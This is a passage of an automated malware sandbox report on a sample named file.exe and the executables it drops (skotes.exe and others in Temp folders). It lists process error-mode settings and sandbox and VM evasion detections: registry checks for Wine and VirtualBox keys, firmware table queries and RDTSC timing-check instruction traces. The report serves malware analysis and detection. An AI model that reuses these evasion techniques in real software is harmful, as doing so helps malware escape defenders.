Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_11-94493

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF609 second address: 11AF613 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF275345486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF613 second address: 11AF618 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF618 second address: 11AF63F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF275345496h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jbe 00007FF27534548Eh 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE6C3 second address: 11AE6DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD43h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE6DD second address: 11AE6E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE6E3 second address: 11AE6F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007FF274F0FD36h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE6F3 second address: 11AE700 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE700 second address: 11AE70C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE892 second address: 11AE896 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE896 second address: 11AE8B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF274F0FD44h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE8B4 second address: 11AE8BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AEE36 second address: 11AEE60 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FF274F0FD44h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c pushad 0x0000000d jo 00007FF274F0FD42h 0x00000013 jp 00007FF274F0FD36h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2077 second address: 11B20C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 pushad 0x00000009 mov ecx, 4E4FBD1Ah 0x0000000e sub dword ptr [ebp+122D1828h], ecx 0x00000014 popad 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007FF275345488h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 00000019h 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 push 26991199h 0x00000036 push eax 0x00000037 push edx 0x00000038 jne 00007FF27534548Ch 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2196 second address: 11B21B6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF274F0FD3Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF274F0FD3Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B21B6 second address: 11B21BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2358 second address: 11B238D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 jmp 00007FF274F0FD40h 0x0000000e push 00000000h 0x00000010 mov dword ptr [ebp+122D1F40h], esi 0x00000016 push 8123120Ah 0x0000001b jo 00007FF274F0FD44h 0x00000021 pushad 0x00000022 jbe 00007FF274F0FD36h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B238D second address: 11B2401 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 add dword ptr [esp], 7EDCEE76h 0x0000000c mov cx, ax 0x0000000f push 00000003h 0x00000011 movsx edi, dx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007FF275345488h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 00000014h 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 movzx edx, di 0x00000033 push 00000003h 0x00000035 mov dh, 52h 0x00000037 call 00007FF275345489h 0x0000003c ja 00007FF275345495h 0x00000042 push eax 0x00000043 jg 00007FF275345492h 0x00000049 mov eax, dword ptr [esp+04h] 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2401 second address: 11B2405 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2405 second address: 11B240B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B240B second address: 11B2410 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2410 second address: 11B2424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FF275345486h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D022D second address: 11D0231 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0231 second address: 11D0237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0237 second address: 11D025B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 pushad 0x00000008 jmp 00007FF274F0FD3Bh 0x0000000d pushad 0x0000000e jmp 00007FF274F0FD3Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0534 second address: 11D053A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D053A second address: 11D0540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D06B7 second address: 11D06D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jl 00007FF275345486h 0x0000000c jmp 00007FF27534548Eh 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D06D2 second address: 11D06E1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 je 00007FF274F0FD36h 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop esi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0B38 second address: 11D0B3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D135B second address: 11D1361 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D1361 second address: 11D1365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C94D1 second address: 11C950F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF274F0FD49h 0x00000009 jmp 00007FF274F0FD48h 0x0000000e popad 0x0000000f jo 00007FF274F0FD38h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C950F second address: 11C9519 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FF275345486h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C9519 second address: 11C9552 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jnl 00007FF274F0FD4Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 jmp 00007FF274F0FD3Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C9552 second address: 11C956F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF275345499h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D1500 second address: 11D1506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D1506 second address: 11D1519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 jg 00007FF27534548Eh 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D1AAF second address: 11D1AD9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF274F0FD3Eh 0x00000008 jbe 00007FF274F0FD38h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jnc 00007FF274F0FD44h 0x00000016 jo 00007FF274F0FD3Eh 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D1C10 second address: 11D1C1E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D1C1E second address: 11D1C22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D1C22 second address: 11D1C28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D1C28 second address: 11D1C43 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF274F0FD3Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007FF274F0FD36h 0x00000013 rdtsc
